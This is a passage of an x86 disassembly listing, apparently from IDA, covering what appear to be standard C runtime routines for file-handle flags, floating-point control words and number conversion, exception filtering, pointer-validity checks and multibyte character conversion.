eax jnz short loc_41E1C4 push esi call ds:off_422074 loc_41E1B0: ; CODE XREF: sub_41DFE6+1B6j call ds:dword_42206C ; RtlGetLastWin32Error push eax call sub_41D064 pop ecx loc_41E1BD: ; CODE XREF: sub_41DFE6+197j mov eax, edi jmp loc_41E29A ; --------------------------------------------------------------------------- loc_41E1C4: ; CODE XREF: sub_41DFE6+1C1j cmp eax, 2 jnz short loc_41E1CF or [ebp+var_1], 40h jmp short loc_41E1D8 ; --------------------------------------------------------------------------- loc_41E1CF: ; CODE XREF: sub_41DFE6+1E1j cmp eax, 3 jnz short loc_41E1D8 or [ebp+var_1], 8 loc_41E1D8: ; CODE XREF: sub_41DFE6+1E7j ; sub_41DFE6+1ECj push esi push ebx call sub_41DE61 pop ecx mov al, [ebp+var_1] pop ecx mov esi, ebx mov ecx, ebx or al, 1 sar ecx, 5 and esi, 1Fh mov byte ptr [ebp+arg_0+3], al lea edi, ds:4CA3C0h[ecx*4] shl esi, 3 mov ecx, [edi] and byte ptr [ebp+arg_0+3], 48h mov [ecx+esi+4], al jnz short loc_41E281 test al, 80h jz short loc_41E281 test byte ptr [ebp+arg_4], 2 jz short loc_41E281 push 2 push 0FFFFFFFFh push ebx call sub_41C637 add esp, 0Ch cmp eax, 0FFFFFFFFh mov [ebp+var_10], eax jnz short loc_41E236 cmp ds:dword_4C9088, 83h jz short loc_41E281 jmp short loc_41E275 ; --------------------------------------------------------------------------- loc_41E236: ; CODE XREF: sub_41DFE6+240j and byte ptr [ebp+arg_8+3], 0 lea eax, [ebp+arg_8+3] push 1 push eax push ebx call sub_41C441 add esp, 0Ch test eax, eax jnz short loc_41E263 cmp byte ptr [ebp+arg_8+3], 1Ah jnz short loc_41E263 push [ebp+var_10] push ebx call sub_41F310 pop ecx cmp eax, 0FFFFFFFFh pop ecx jz short loc_41E275 loc_41E263: ; CODE XREF: sub_41DFE6+265j ; sub_41DFE6+26Bj push 0 push 0 push ebx call sub_41C637 add esp, 0Ch cmp eax, 0FFFFFFFFh jnz short loc_41E281 loc_41E275: ; CODE XREF: sub_41DFE6+24Ej ; sub_41DFE6+27Bj push ebx call sub_4187D7 pop ecx loc_41E27C: ; CODE XREF: sub_41DFE6+6Cj or eax, 0FFFFFFFFh jmp short loc_41E29A ; --------------------------------------------------------------------------- loc_41E281: ; CODE XREF: sub_41DFE6+221j ; sub_41DFE6+225j ... cmp byte ptr [ebp+arg_0+3], 0 jnz short loc_41E298 test byte ptr [ebp+arg_4], 8 jz short loc_41E298 mov eax, [edi] or byte ptr [eax+esi+4], 20h lea eax, [eax+esi+4] loc_41E298: ; CODE XREF: sub_41DFE6+29Fj ; sub_41DFE6+2A5j mov eax, ebx loc_41E29A: ; CODE XREF: sub_41DFE6+1D9j ; sub_41DFE6+299j pop edi pop esi pop ebx leave retn sub_41DFE6 endp ; =============== S U B R O U T I N E ======================================= sub_41E29F proc near ; CODE XREF: sub_41A62A+52p xor eax, eax retn sub_41E29F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41E2A2 proc near ; CODE XREF: sub_41E2D7+Ep var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx push esi fstcw word ptr [ebp+var_4] push [ebp+var_4] call sub_41E2ED mov esi, eax mov eax, [ebp+arg_4] not eax and esi, eax mov eax, [ebp+arg_0] and eax, [ebp+arg_4] or esi, eax push esi call sub_41E37F pop ecx mov [ebp+arg_4], eax pop ecx fldcw word ptr [ebp+arg_4] mov eax, esi pop esi leave retn sub_41E2A2 endp ; =============== S U B R O U T I N E ======================================= sub_41E2D7 proc near ; CODE XREF: sub_41A916+Ap arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_4] and eax, 0FFF7FFFFh push eax push [esp+4+arg_0] call sub_41E2A2 pop ecx pop ecx retn sub_41E2D7 endp ; =============== S U B R O U T I N E ======================================= sub_41E2ED proc near ; CODE XREF: sub_41E2A2+Cp arg_0 = dword ptr 4 push ebx mov ebx, [esp+4+arg_0] xor eax, eax push ebp test bl, 1 push edi jz short loc_41E2FE push 10h pop eax loc_41E2FE: ; CODE XREF: sub_41E2ED+Cj test bl, 4 jz short loc_41E305 or al, 8 loc_41E305: ; CODE XREF: sub_41E2ED+14j test bl, 8 jz short loc_41E30C or al, 4 loc_41E30C: ; CODE XREF: sub_41E2ED+1Bj test bl, 10h jz short loc_41E313 or al, 2 loc_41E313: ; CODE XREF: sub_41E2ED+22j test bl, 20h jz short loc_41E31A or al, 1 loc_41E31A: ; CODE XREF: sub_41E2ED+29j test bl, 2 jz short loc_41E324 or eax, 80000h loc_41E324: ; CODE XREF: sub_41E2ED+30j movzx ecx, bx push esi mov edx, ecx mov esi, 0C00h mov edi, 300h and edx, esi mov ebp, 200h jz short loc_41E35C cmp edx, 400h jz short loc_41E359 cmp edx, 800h jz short loc_41E355 cmp edx, esi jnz short loc_41E35C or eax, edi jmp short loc_41E35C ; --------------------------------------------------------------------------- loc_41E355: ; CODE XREF: sub_41E2ED+5Ej or eax, ebp jmp short loc_41E35C ; --------------------------------------------------------------------------- loc_41E359: ; CODE XREF: sub_41E2ED+56j or ah, 1 loc_41E35C: ; CODE XREF: sub_41E2ED+4Ej ; sub_41E2ED+62j ... and ecx, edi pop esi jz short loc_41E36C cmp ecx, ebp jnz short loc_41E371 or eax, 10000h jmp short loc_41E371 ; --------------------------------------------------------------------------- loc_41E36C: ; CODE XREF: sub_41E2ED+72j or eax, 20000h loc_41E371: ; CODE XREF: sub_41E2ED+76j ; sub_41E2ED+7Dj pop edi pop ebp test bh, 10h pop ebx jz short locret_41E37E or eax, 40000h locret_41E37E: ; CODE XREF: sub_41E2ED+8Aj retn sub_41E2ED endp ; =============== S U B R O U T I N E ======================================= sub_41E37F proc near ; CODE XREF: sub_41E2A2+23p arg_0 = dword ptr 4 push ebx mov ebx, [esp+4+arg_0] xor eax, eax push esi test bl, 10h jz short loc_41E38F push 1 pop eax loc_41E38F: ; CODE XREF: sub_41E37F+Bj test bl, 8 jz short loc_41E396 or al, 4 loc_41E396: ; CODE XREF: sub_41E37F+13j test bl, 4 jz short loc_41E39D or al, 8 loc_41E39D: ; CODE XREF: sub_41E37F+1Aj test bl, 2 jz short loc_41E3A4 or al, 10h loc_41E3A4: ; CODE XREF: sub_41E37F+21j test bl, 1 jz short loc_41E3AB or al, 20h loc_41E3AB: ; CODE XREF: sub_41E37F+28j test ebx, 80000h jz short loc_41E3B5 or al, 2 loc_41E3B5: ; CODE XREF: sub_41E37F+32j mov ecx, ebx mov edx, 300h and ecx, edx mov esi, 200h jz short loc_41E3E2 cmp ecx, 100h jz short loc_41E3DF cmp ecx, esi jz short loc_41E3DA cmp ecx, edx jnz short loc_41E3E2 or ah, 0Ch jmp short loc_41E3E2 ; --------------------------------------------------------------------------- loc_41E3DA: ; CODE XREF: sub_41E37F+50j or ah, 8 jmp short loc_41E3E2 ; --------------------------------------------------------------------------- loc_41E3DF: ; CODE XREF: sub_41E37F+4Cj or ah, 4 loc_41E3E2: ; CODE XREF: sub_41E37F+44j ; sub_41E37F+54j ... mov ecx, ebx and ecx, 30000h jz short loc_41E3F8 cmp ecx, 10000h jnz short loc_41E3FA or eax, esi jmp short loc_41E3FA ; --------------------------------------------------------------------------- loc_41E3F8: ; CODE XREF: sub_41E37F+6Bj or eax, edx loc_41E3FA: ; CODE XREF: sub_41E37F+73j ; sub_41E37F+77j pop esi test ebx, 40000h pop ebx jz short locret_41E407 or ah, 10h locret_41E407: ; CODE XREF: sub_41E37F+83j retn sub_41E37F endp ; =============== S U B R O U T I N E ======================================= sub_41E408 proc near ; CODE XREF: sub_41E4A7+48p arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_4] push esi push 20h cdq pop ecx idiv ecx push 1Fh mov esi, eax mov eax, [esp+8+arg_4] cdq idiv ecx pop ecx mov eax, [esp+4+arg_0] sub ecx, edx or edx, 0FFFFFFFFh shl edx, cl not edx test [eax+esi*4], edx jnz short loc_41E44D inc esi cmp esi, 3 jge short loc_41E448 lea eax, [eax+esi*4] loc_41E43A: ; CODE XREF: sub_41E408+3Ej cmp dword ptr [eax], 0 jnz short loc_41E44D inc esi add eax, 4 cmp esi, 3 jl short loc_41E43A loc_41E448: ; CODE XREF: sub_41E408+2Dj push 1 pop eax pop esi retn ; --------------------------------------------------------------------------- loc_41E44D: ; CODE XREF: sub_41E408+27j ; sub_41E408+35j xor eax, eax pop esi retn sub_41E408 endp ; =============== S U B R O U T I N E ======================================= sub_41E451 proc near ; CODE XREF: sub_41E4A7+57p arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_4] push ebx push esi push edi push 20h mov ebx, [esp+10h+arg_0] cdq pop ecx idiv ecx mov esi, eax mov eax, [esp+0Ch+arg_4] cdq idiv ecx lea edi, [ebx+esi*4] push edi push 1Fh pop ecx push 1 pop eax sub ecx, edx shl eax, cl push eax push dword ptr [edi] call sub_41F456 add esp, 0Ch dec esi js short loc_41E4A3 lea edi, [ebx+esi*4] loc_41E48A: ; CODE XREF: sub_41E451+50j test eax, eax jz short loc_41E4A3 push edi push 1 push dword ptr [edi] call sub_41F456 add esp, 0Ch dec esi sub edi, 4 test esi, esi jge short loc_41E48A loc_41E4A3: ; CODE XREF: sub_41E451+34j ; sub_41E451+3Bj pop edi pop esi pop ebx retn sub_41E451 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41E4A7 proc near ; CODE XREF: sub_41E602+81p ; sub_41E602+CCp var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx push ecx mov eax, [ebp+arg_4] push ebx push esi push edi lea edi, [eax-1] push 20h pop ecx and [ebp+var_4], 0 lea ebx, [edi+1] push 20h mov eax, ebx pop esi cdq idiv ecx push 1Fh mov ecx, eax mov eax, ebx cdq idiv esi mov eax, [ebp+arg_0] pop esi push 1 mov [ebp+var_8], ecx lea eax, [eax+ecx*4] mov [ebp+arg_4], eax sub esi, edx pop edx mov ecx, esi shl edx, cl test [eax], edx jz short loc_41E50B inc ebx push ebx push [ebp+arg_0] call sub_41E408 pop ecx test eax, eax pop ecx jnz short loc_41E508 push edi push [ebp+arg_0] call sub_41E451 pop ecx mov [ebp+var_4], eax pop ecx loc_41E508: ; CODE XREF: sub_41E4A7+51j mov eax, [ebp+arg_4] loc_41E50B: ; CODE XREF: sub_41E4A7+41j or edx, 0FFFFFFFFh mov ecx, esi shl edx, cl push 3 pop ecx and [eax], edx mov eax, [ebp+var_8] inc eax cmp eax, ecx jge short loc_41E52B mov edx, [ebp+arg_0] sub ecx, eax lea edi, [edx+eax*4] xor eax, eax rep stosd loc_41E52B: ; CODE XREF: sub_41E4A7+76j mov eax, [ebp+var_4] pop edi pop esi pop ebx leave retn sub_41E4A7 endp ; =============== S U B R O U T I N E ======================================= sub_41E533 proc near ; CODE XREF: sub_41E602+75p ; sub_41E602+B6p arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_4] mov ecx, [esp+arg_0] push esi push 3 sub ecx, eax pop edx loc_41E541: ; CODE XREF: sub_41E533+17j mov esi, [eax] mov [ecx+eax], esi add eax, 4 dec edx jnz short loc_41E541 pop esi retn sub_41E533 endp ; =============== S U B R O U T I N E ======================================= sub_41E54E proc near ; CODE XREF: sub_41E602+5Fp ; sub_41E602+9Ep ... arg_0 = dword ptr 4 push edi mov edi, [esp+4+arg_0] xor eax, eax stosd stosd stosd pop edi retn sub_41E54E endp ; =============== S U B R O U T I N E ======================================= sub_41E55A proc near ; CODE XREF: sub_41E602+4Dp arg_0 = dword ptr 4 mov eax, [esp+arg_0] xor ecx, ecx loc_41E560: ; CODE XREF: sub_41E55A+12j cmp dword ptr [eax], 0 jnz short loc_41E572 inc ecx add eax, 4 cmp ecx, 3 jl short loc_41E560 push 1 pop eax retn ; --------------------------------------------------------------------------- loc_41E572: ; CODE XREF: sub_41E55A+9j xor eax, eax retn sub_41E55A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41E575 proc near ; CODE XREF: sub_41E602+C0p ; sub_41E602+DAp ... var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 0Ch mov eax, [ebp+arg_4] push ebx push esi push edi push 20h mov edi, [ebp+arg_0] pop ebx or esi, 0FFFFFFFFh cdq mov ecx, ebx mov [ebp+var_4], 3 idiv ecx mov [ebp+var_C], eax mov eax, [ebp+arg_4] cdq idiv ecx and [ebp+arg_4], 0 mov ecx, edx shl esi, cl sub ebx, edx not esi loc_41E5AB: ; CODE XREF: sub_41E575+58j mov eax, [edi] mov ecx, eax and ecx, esi mov [ebp+var_8], ecx mov ecx, edx shr eax, cl or eax, [ebp+arg_4] mov [edi], eax mov eax, [ebp+var_8] mov ecx, ebx add edi, 4 shl eax, cl dec [ebp+var_4] mov [ebp+arg_4], eax jnz short loc_41E5AB mov edi, [ebp+var_C] push 2 pop ebx mov esi, edi push 8 pop ecx shl esi, 2 loc_41E5DD: ; CODE XREF: sub_41E575+86j cmp ebx, edi jl short loc_41E5F0 mov edx, [ebp+arg_0] mov eax, ecx sub eax, esi mov eax, [eax+edx] mov [ecx+edx], eax jmp short loc_41E5F7 ; --------------------------------------------------------------------------- loc_41E5F0: ; CODE XREF: sub_41E575+6Aj mov eax, [ebp+arg_0] and dword ptr [ecx+eax], 0 loc_41E5F7: ; CODE XREF: sub_41E575+79j dec ebx sub ecx, 4 jns short loc_41E5DD pop edi pop esi pop ebx leave retn sub_41E575 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41E602 proc near ; CODE XREF: sub_41E76E+Dp ; sub_41E784+Dp var_18 = byte ptr -18h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 18h mov eax, [ebp+arg_0] push ebx push esi push edi movzx ecx, word ptr [eax+0Ah] mov ebx, ecx and ecx, 8000h mov [ebp+arg_0], ecx mov ecx, [eax+6] mov [ebp+var_C], ecx mov ecx, [eax+2] movzx eax, word ptr [eax] mov edi, [ebp+arg_8] and ebx, 7FFFh sub ebx, 3FFFh mov [ebp+var_8], ecx shl eax, 10h cmp ebx, 0FFFFC001h mov [ebp+var_4], eax jnz short loc_41E66F lea eax, [ebp+var_C] xor esi, esi push eax call sub_41E55A test eax, eax pop ecx jnz loc_41E72E lea eax, [ebp+var_C] push eax call sub_41E54E pop ecx loc_41E667: ; CODE XREF: sub_41E602+E4j push 2 loc_41E669: ; CODE XREF: sub_41E602+110j pop eax jmp loc_41E730 ; --------------------------------------------------------------------------- loc_41E66F: ; CODE XREF: sub_41E602+45j lea eax, [ebp+var_C] push eax lea eax, [ebp+var_18] push eax call sub_41E533 push dword ptr [edi+8] lea eax, [ebp+var_C] push eax call sub_41E4A7 add esp, 10h test eax, eax jz short loc_41E690 inc ebx loc_41E690: ; CODE XREF: sub_41E602+8Bj mov eax, [edi+4] mov ecx, eax sub ecx, [edi+8] cmp ebx, ecx jge short loc_41E6A8 lea eax, [ebp+var_C] push eax call sub_41E54E pop ecx jmp short loc_41E6E4 ; --------------------------------------------------------------------------- loc_41E6A8: ; CODE XREF: sub_41E602+98j cmp ebx, eax jg short loc_41E6EB sub eax, ebx mov esi, eax lea eax, [ebp+var_18] push eax lea eax, [ebp+var_C] push eax call sub_41E533 lea eax, [ebp+var_C] push esi push eax call sub_41E575 push dword ptr [edi+8] lea eax, [ebp+var_C] push eax call sub_41E4A7 mov eax, [edi+0Ch] inc eax push eax lea eax, [ebp+var_C] push eax call sub_41E575 add esp, 20h loc_41E6E4: ; CODE XREF: sub_41E602+A4j xor esi, esi jmp loc_41E667 ; --------------------------------------------------------------------------- loc_41E6EB: ; CODE XREF: sub_41E602+A8j cmp ebx, [edi] jl short loc_41E717 lea eax, [ebp+var_C] push eax call sub_41E54E push dword ptr [edi+0Ch] or byte ptr [ebp+var_C+3], 80h lea eax, [ebp+var_C] push eax call sub_41E575 mov esi, [edi+14h] add esp, 0Ch add esi, [edi] push 1 jmp loc_41E669 ; --------------------------------------------------------------------------- loc_41E717: ; CODE XREF: sub_41E602+EBj push dword ptr [edi+0Ch] mov esi, [edi+14h] and byte ptr [ebp+var_C+3], 7Fh lea eax, [ebp+var_C] push eax add esi, ebx call sub_41E575 pop ecx pop ecx loc_41E72E: ; CODE XREF: sub_41E602+55j xor eax, eax loc_41E730: ; CODE XREF: sub_41E602+68j push 1Fh pop ecx sub ecx, [edi+0Ch] mov edi, [edi+10h] shl esi, cl mov ecx, [ebp+arg_0] neg ecx sbb ecx, ecx and ecx, 80000000h or esi, ecx or esi, [ebp+var_C] cmp edi, 40h jnz short loc_41E75F mov ecx, [ebp+arg_4] mov edx, [ebp+var_8] mov [ecx+4], esi mov [ecx], edx jmp short loc_41E769 ; --------------------------------------------------------------------------- loc_41E75F: ; CODE XREF: sub_41E602+14Ej cmp edi, 20h jnz short loc_41E769 mov ecx, [ebp+arg_4] mov [ecx], esi loc_41E769: ; CODE XREF: sub_41E602+15Bj ; sub_41E602+160j pop edi pop esi pop ebx leave retn sub_41E602 endp ; =============== S U B R O U T I N E ======================================= sub_41E76E proc near ; CODE XREF: sub_41E79A+23p arg_0 = dword ptr 4 arg_4 = dword ptr 8 push offset dword_431D00 push [esp+4+arg_4] push [esp+8+arg_0] call sub_41E602 add esp, 0Ch retn sub_41E76E endp ; =============== S U B R O U T I N E ======================================= sub_41E784 proc near ; CODE XREF: sub_41E7C7+23p arg_0 = dword ptr 4 arg_4 = dword ptr 8 push offset dword_431D18 push [esp+4+arg_4] push [esp+8+arg_0] call sub_41E602 add esp, 0Ch retn sub_41E784 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41E79A proc near ; CODE XREF: sub_41AA4F+12p var_C = byte ptr -0Ch arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 0Ch xor eax, eax push eax push eax push eax push eax push [ebp+arg_4] lea eax, [ebp+arg_4] push eax lea eax, [ebp+var_C] push eax call sub_41F5F7 push [ebp+arg_0] lea eax, [ebp+var_C] push eax call sub_41E76E add esp, 24h leave retn sub_41E79A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41E7C7 proc near ; CODE XREF: sub_41AA4F+2Dp var_C = byte ptr -0Ch arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 0Ch xor eax, eax push eax push eax push eax push eax push [ebp+arg_4] lea eax, [ebp+arg_4] push eax lea eax, [ebp+var_C] push eax call sub_41F5F7 push [ebp+arg_0] lea eax, [ebp+var_C] push eax call sub_41E784 add esp, 24h leave retn sub_41E7C7 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41E7F4 proc near ; CODE XREF: sub_41AA8D+65p ; sub_41AB91+63p ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp mov edx, [ebp+arg_8] push ebx mov ebx, [ebp+arg_4] push esi mov esi, [ebp+arg_0] mov ecx, [edx+0Ch] push edi lea edi, [esi+1] mov byte ptr [esi], 30h test ebx, ebx mov eax, edi jle short loc_41E831 mov [ebp+arg_0], ebx xor ebx, ebx loc_41E817: ; CODE XREF: sub_41E7F4+38j mov dl, [ecx] test dl, dl jz short loc_41E823 movsx edx, dl inc ecx jmp short loc_41E826 ; --------------------------------------------------------------------------- loc_41E823: ; CODE XREF: sub_41E7F4+27j push 30h pop edx loc_41E826: ; CODE XREF: sub_41E7F4+2Dj mov [eax], dl inc eax dec [ebp+arg_0] jnz short loc_41E817 mov edx, [ebp+arg_8] loc_41E831: ; CODE XREF: sub_41E7F4+1Cj and byte ptr [eax], 0 test ebx, ebx jl short loc_41E84A cmp byte ptr [ecx], 35h jl short loc_41E84A loc_41E83D: ; CODE XREF: sub_41E7F4+52j dec eax cmp byte ptr [eax], 39h jnz short loc_41E848 mov byte ptr [eax], 30h jmp short loc_41E83D ; --------------------------------------------------------------------------- loc_41E848: ; CODE XREF: sub_41E7F4+4Dj inc byte ptr [eax] loc_41E84A: ; CODE XREF: sub_41E7F4+42j ; sub_41E7F4+47j cmp byte ptr [esi], 31h jnz short loc_41E854 inc dword ptr [edx+4] jmp short loc_41E866 ; --------------------------------------------------------------------------- loc_41E854: ; CODE XREF: sub_41E7F4+59j push edi call sub_415C80 inc eax push eax push edi push esi call sub_416470 add esp, 10h loc_41E866: ; CODE XREF: sub_41E7F4+5Ej pop edi pop esi pop ebx pop ebp retn sub_41E7F4 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41E86B proc near ; CODE XREF: sub_41AA8D+3Fp ; sub_41AB91+46p ... var_C = byte ptr -0Ch arg_0 = byte ptr 8 push ebp mov ebp, esp sub esp, 0Ch push esi lea eax, [ebp+arg_0] push edi push eax lea eax, [ebp+var_C] push eax call sub_41E8CF pop ecx lea esi, [ebp+var_C] pop ecx push offset word_4C9258 push 0 push 11h sub esp, 0Ch mov edi, esp movsd movsd movsw call sub_41FAC8 mov ds:dword_4C9280, eax add esp, 18h movsx eax, ds:byte_4C925A mov ds:dword_4C9278, eax pop edi movsx eax, ds:word_4C9258 mov ds:dword_4C927C, eax mov ds:dword_4C9284, offset dword_4C925C mov eax, offset dword_4C9278 pop esi leave retn sub_41E86B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41E8CF proc near ; CODE XREF: sub_41E86B+10p var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx mov edx, [ebp+arg_4] push ebx push esi push edi mov ax, [edx+6] mov edi, 7FFh mov ecx, eax and eax, 8000h shr ecx, 4 and ecx, edi mov [ebp+arg_4], eax mov eax, [edx+4] mov edx, [edx] movzx ebx, cx mov esi, 80000000h and eax, 0FFFFFh test ebx, ebx mov [ebp+var_4], esi jz short loc_41E91D cmp ebx, edi jz short loc_41E916 lea edi, [ecx+3C00h] jmp short loc_41E93E ; --------------------------------------------------------------------------- loc_41E916: ; CODE XREF: sub_41E8CF+3Dj mov edi, 7FFFh jmp short loc_41E93E ; --------------------------------------------------------------------------- loc_41E91D: ; CODE XREF: sub_41E8CF+39j xor ebx, ebx cmp eax, ebx jnz short loc_41E935 cmp edx, ebx jnz short loc_41E935 mov eax, [ebp+arg_0] mov [eax+4], ebx mov [eax], ebx mov [eax+8], bx jmp short loc_41E980 ; --------------------------------------------------------------------------- loc_41E935: ; CODE XREF: sub_41E8CF+52j ; sub_41E8CF+56j lea edi, [ecx+3C01h] mov [ebp+var_4], ebx loc_41E93E: ; CODE XREF: sub_41E8CF+45j ; sub_41E8CF+4Cj mov ecx, edx shr ecx, 15h shl eax, 0Bh or ecx, eax mov eax, [ebp+arg_0] or ecx, [ebp+var_4] shl edx, 0Bh mov [eax+4], ecx mov [eax], edx loc_41E956: ; CODE XREF: sub_41E8CF+A6j test ecx, esi jnz short loc_41E977 mov edx, [eax] add ecx, ecx mov ebx, edx shr ebx, 1Fh or ebx, ecx lea ecx, [edx+edx] mov [eax], ecx mov [eax+4], ebx add edi, 0FFFFh mov ecx, ebx jmp short loc_41E956 ; --------------------------------------------------------------------------- loc_41E977: ; CODE XREF: sub_41E8CF+89j mov ecx, [ebp+arg_4] or ecx, edi mov [eax+8], cx loc_41E980: ; CODE XREF: sub_41E8CF+64j pop edi pop esi pop ebx leave retn sub_41E8CF endp ; --------------------------------------------------------------------------- push 2 call sub_417DFA pop ecx retn ; =============== S U B R O U T I N E ======================================= sub_41E98E proc near ; DATA XREF: _0:0041E9D4o _2:004316D8o ... arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] mov eax, [esi] cmp dword ptr [eax], 0E06D7363h jnz short loc_41E9B1 cmp dword ptr [eax+10h], 3 jnz short loc_41E9B1 cmp dword ptr [eax+14h], 19930520h jnz short loc_41E9B1 jmp sub_41B61C ; --------------------------------------------------------------------------- loc_41E9B1: ; CODE XREF: sub_41E98E+Dj ; sub_41E98E+13j ... mov eax, ds:dword_4C9288 test eax, eax jz short loc_41E9CE push eax call sub_41EA2A test eax, eax pop ecx jz short loc_41E9CE push esi call ds:dword_4C9288 jmp short loc_41E9D0 ; --------------------------------------------------------------------------- loc_41E9CE: ; CODE XREF: sub_41E98E+2Aj ; sub_41E98E+35j xor eax, eax loc_41E9D0: ; CODE XREF: sub_41E98E+3Ej pop esi retn 4 sub_41E98E endp ; --------------------------------------------------------------------------- push offset sub_41E98E call ds:off_42201C mov ds:dword_4C9288, eax retn ; --------------------------------------------------------------------------- loc_41E9E5: ; DATA XREF: _2:00424034o push ds:dword_4C9288 call ds:off_42201C retn ; =============== S U B R O U T I N E ======================================= sub_41E9F2 proc near ; CODE XREF: sub_41AE65+6Bp ; sub_41B376+61p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi push 1 pop esi push [esp+4+arg_4] push [esp+8+arg_0] call ds:dword_422018 ; IsBadReadPtr test eax, eax jz short loc_41EA0A xor esi, esi loc_41EA0A: ; CODE XREF: sub_41E9F2+14j mov eax, esi pop esi retn sub_41E9F2 endp ; =============== S U B R O U T I N E ======================================= sub_41EA0E proc near ; CODE XREF: sub_41B376+73p ; sub_41B376+BFp ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi push 1 pop esi push [esp+4+arg_4] push [esp+8+arg_0] call ds:dword_4221A0 ; IsBadWritePtr test eax, eax jz short loc_41EA26 xor esi, esi loc_41EA26: ; CODE XREF: sub_41EA0E+14j mov eax, esi pop esi retn sub_41EA0E endp ; =============== S U B R O U T I N E ======================================= sub_41EA2A proc near ; CODE XREF: sub_41B376+15Bp ; sub_41E98E+2Dp arg_0 = dword ptr 4 push esi push 1 pop esi push [esp+4+arg_0] call ds:dword_422014 ; IsBadCodePtr test eax, eax jz short loc_41EA3E xor esi, esi loc_41EA3E: ; CODE XREF: sub_41EA2A+10j mov eax, esi pop esi retn sub_41EA2A endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_41B61C loc_41EA42: ; CODE XREF: sub_41B61C:loc_41B66Dj push 0Ah call sub_41D9A5 push 16h call sub_41FD5B pop ecx pop ecx push 3 call sub_417C16 ; END OF FUNCTION CHUNK FOR sub_41B61C ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41EA59 proc near ; CODE XREF: sub_41B7F5+6A3p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push ebx push esi mov esi, [ebp+arg_4] xor ebx, ebx cmp esi, ebx jz short loc_41EA7C cmp [ebp+arg_8], ebx jz short loc_41EA7C mov al, [esi] cmp al, bl jnz short loc_41EA82 mov eax, [ebp+arg_0] cmp eax, ebx jz short loc_41EA7C mov [eax], bx loc_41EA7C: ; CODE XREF: sub_41EA59+Cj ; sub_41EA59+11j ... xor eax, eax loc_41EA7E: ; CODE XREF: sub_41EA59+42j ; sub_41EA59+86j ... pop esi pop ebx pop ebp retn ; --------------------------------------------------------------------------- loc_41EA82: ; CODE XREF: sub_41EA59+17j cmp ds:dword_4C911C, ebx jnz short loc_41EA9D mov ecx, [ebp+arg_0] cmp ecx, ebx jz short loc_41EA98 movzx ax, al mov [ecx], ax loc_41EA98: ; CODE XREF: sub_41EA59+36j ; sub_41EA59+C0j push 1 pop eax jmp short loc_41EA7E ; --------------------------------------------------------------------------- loc_41EA9D: ; CODE XREF: sub_41EA59+2Fj mov ecx, ds:off_42F360 movzx eax, al test byte ptr [ecx+eax*2+1], 80h jz short loc_41EAFA mov eax, ds:dword_42F56C cmp eax, 1 jle short loc_41EAE1 cmp [ebp+arg_8], eax jl short loc_41EAEB xor ecx, ecx cmp [ebp+arg_0], ebx setnz cl push ecx push [ebp+arg_0] push eax push esi push 9 push ds:dword_4C912C call ds:dword_422134 ; MultiByteToWideChar test eax, eax mov eax, ds:dword_42F56C jnz short loc_41EA7E loc_41EAE1: ; CODE XREF: sub_41EA59+5Cj cmp [ebp+arg_8], eax jb short loc_41EAEB cmp [esi+1], bl jnz short loc_41EA7E loc_41EAEB: ; CODE XREF: sub_41EA59+61j ; sub_41EA59+8Bj ... mov ds:dword_4C9084, 2Ah or eax, 0FFFFFFFFh jmp short loc_41EA7E ; --------------------------------------------------------------------------- loc_41EAFA: ; CODE XREF: sub_41EA59+52j xor eax, eax cmp [ebp+arg_0], ebx setnz al push eax push [ebp+arg_0] push 1 push esi push 9 push ds:dword_4C912C call ds:dword_422134 ; MultiByteToWideChar test eax, eax jnz loc_41EA98 jmp short loc_41EAEB sub_41EA59 endp ; =============== S U B R O U T I N E ======================================= sub_41EB21 proc near ; CODE XREF: sub_41B7F5+76p ; sub_41B7F5+88p ... arg_0 = dword ptr 4 cmp ds:dword_42F56C, 1 jle short loc_41EB38 push 8 push [esp+4+arg_0] call sub_418762 pop ecx pop ecx retn ; --------------------------------------------------------------------------- loc_41EB38: ; CODE XREF: sub_41EB21+7j mov eax, [esp+arg_0] mov ecx, ds:off_42F360 mov al, [ecx+eax*2] and eax, 8 retn sub_41EB21 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_41EB50 proc near ; CODE XREF: sub_41B7F5+797p ; sub_41B7F5+7E7p cmp cl, 40h jnb short loc_41EB6A cmp cl, 20h jnb short loc_41EB60 shld 